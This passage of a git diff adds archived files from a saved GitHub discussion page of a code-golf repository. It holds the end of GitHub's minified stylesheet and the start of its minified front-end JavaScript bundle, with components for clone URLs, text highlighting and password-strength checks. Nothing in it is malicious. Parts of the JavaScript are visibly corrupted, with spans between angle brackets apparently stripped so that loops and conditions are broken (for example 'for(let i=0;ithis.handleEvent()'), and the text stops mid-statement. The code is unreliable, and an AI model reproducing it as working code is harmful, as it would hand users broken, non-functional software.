#e5e5e5);border-radius:6px}.listgroup-item{min-height:inherit;padding:8px;font-size:12px;line-height:26px;color:var(--color-fg-muted)}.listgroup-item::before{display:table;content:""}.listgroup-item::after{display:table;clear:both;content:""}.listgroup-item+.listgroup-item{border-top:1px solid var(--color-border-default, #e5e5e5)}.listgroup-item.listgroup-item-preview{line-height:inherit}.listgroup-item.listgroup-item-preview .BtnGroup{margin-top:4px}.listgroup-item .css-truncate-target{max-width:200px}.listgroup-item-title{display:block;font-weight:600}.listgroup-item-body{display:block}.listgroup-header{border-top:0;border-bottom:1px solid var(--color-border-default, #e5e5e5)}.listgroup-overflow{max-height:240px;overflow-y:auto;background-color:var(--color-canvas-subtle, #f5f5f5)}.listgroup-sm .listgroup-item{padding-top:4px;padding-bottom:4px}.protected-branches{margin-top:16px;margin-bottom:16px}.protected-branch-options{margin-left:16px;opacity:.5}.protected-branch-options.active{opacity:1}.protected-branch-reviews.on .require-code-owner-review,.protected-branch-reviews.on .reviews-dismiss-on-push,.protected-branch-reviews.on .reviews-include-dismiss,.protected-branch-reviews.on .allow-force-pushes,.protected-branch-reviews.on .require-approving-reviews{display:block}.protected-branch-reviews .require-code-owner-review,.protected-branch-reviews .reviews-dismiss-on-push,.protected-branch-reviews .reviews-include-dismiss,.protected-branch-reviews .allow-force-pushes,.protected-branch-reviews .require-approving-reviews{display:none}.authorized-pushers{width:440px}.authorized-pushers .add-protected-branch-actor{display:block}.authorized-pushers .actor-limit-reached{display:none;padding:8px;font-size:12px}.authorized-pushers.at-limit .add-protected-branch-actor{display:none}.authorized-pushers.at-limit .actor-limit-reached{display:block;width:440px}.protected-branch-authorized-pushers-table,.protected-branch-pushers-table{margin-top:8px}.protected-branch-authorized-pushers-table .boxed-group-inner,.protected-branch-pushers-table .boxed-group-inner{max-height:350px;overflow-y:auto}.protected-branch-authorized-pushers-table .table-list,.protected-branch-pushers-table .table-list{border-bottom:0}.protected-branch-authorized-pushers-table .table-list-cell,.protected-branch-pushers-table .table-list-cell{vertical-align:middle}.protected-branch-authorized-pushers-table .table-list-cell:first-child,.protected-branch-pushers-table .table-list-cell:first-child{width:100%}.protected-branch-authorized-pushers-table .avatar,.protected-branch-authorized-pushers-table .octicon-jersey,.protected-branch-authorized-pushers-table .octicon-organization,.protected-branch-pushers-table .avatar,.protected-branch-pushers-table .octicon-jersey,.protected-branch-pushers-table .octicon-organization{width:36px;margin-right:8px;text-align:center}.user-already-added::after{display:inline-block;padding:1px 4px;margin-left:4px;font-size:12px;line-height:1.4;color:var(--color-fg-on-emphasis);content:"Already added";background:var(--color-severe-emphasis);border-radius:6px}.protected-branch-admin-permission{padding:4px;margin:-2px 0 -2px -4px;line-height:normal;border:1px solid transparent;border-radius:6px}.protected-branch-admin-permission.active{animation:toggle-color 1s ease-in-out 0s}@keyframes toggle-color{0%{background-color:transparent}50%{color:#4c4a42;background-color:#fff9ea;border-color:#dfd8c2}100%{background-color:transparent}}.automated-check-options{margin-top:8px}.automated-check-options .listgroup-item label{font-size:inherit}.automated-check-options .listgroup-item input[type=checkbox]{float:none;margin-top:-2px;margin-right:4px;margin-left:0}.automated-check-options .label{margin-top:4px}.repository-settings-actions [role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-color:var(--color-severe-emphasis)}.repository-settings-actions [role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.two-factor-recovery-codes{margin:32px 0;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:20px}.two-factor-recovery-code-mark{width:24px;height:24px;font-size:24px;line-height:16px;color:var(--color-fg-muted)}.two-factor-recovery-code{display:inline-block;width:48%;line-height:1.6;text-align:center}.two-factor-recovery-code::before{position:relative;top:-3px;margin-right:8px;font-size:12px;color:var(--color-fg-muted);content:"●"}.recovery-codes-saving-options{margin-left:32px}.recovery-codes-saving-options .recovery-code-save-button{width:115px;margin-right:16px;text-align:center}.recovery-codes-warning{margin:0 -16px}.recovery-codes-warning .recovery-codes-warning-octicon{height:40px;margin-right:16px}.two-factor-steps{padding:16px 16px 0;margin:32px 0;border:1px solid var(--color-border-default);border-radius:6px}.setup-wrapper{width:750px;padding-top:32px;margin:0 auto}.setup-wrapper::before{display:table;content:""}.setup-wrapper::after{display:table;clear:both;content:""}.setup-header{padding-bottom:16px;margin:0 auto 32px;overflow:hidden;text-align:left;border-bottom:1px solid var(--color-border-default)}.setup-header h1{margin-top:0;margin-bottom:0;font-size:48px;font-weight:400;line-height:1.1;letter-spacing:-1px}.setup-header h1 .octicon{color:var(--color-fg-muted)}.setup-header .lead{margin-top:2px;margin-bottom:0;font-size:20px}.setup-header .lead a{color:var(--color-fg-muted)}.setup-header .lead a:hover{color:var(--color-accent-fg);text-decoration:none}.setup-org{padding-bottom:0;border-bottom:0}.setup-main{float:left;width:450px}.setup-secondary{float:right;width:250px}.setup-secondary .info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new 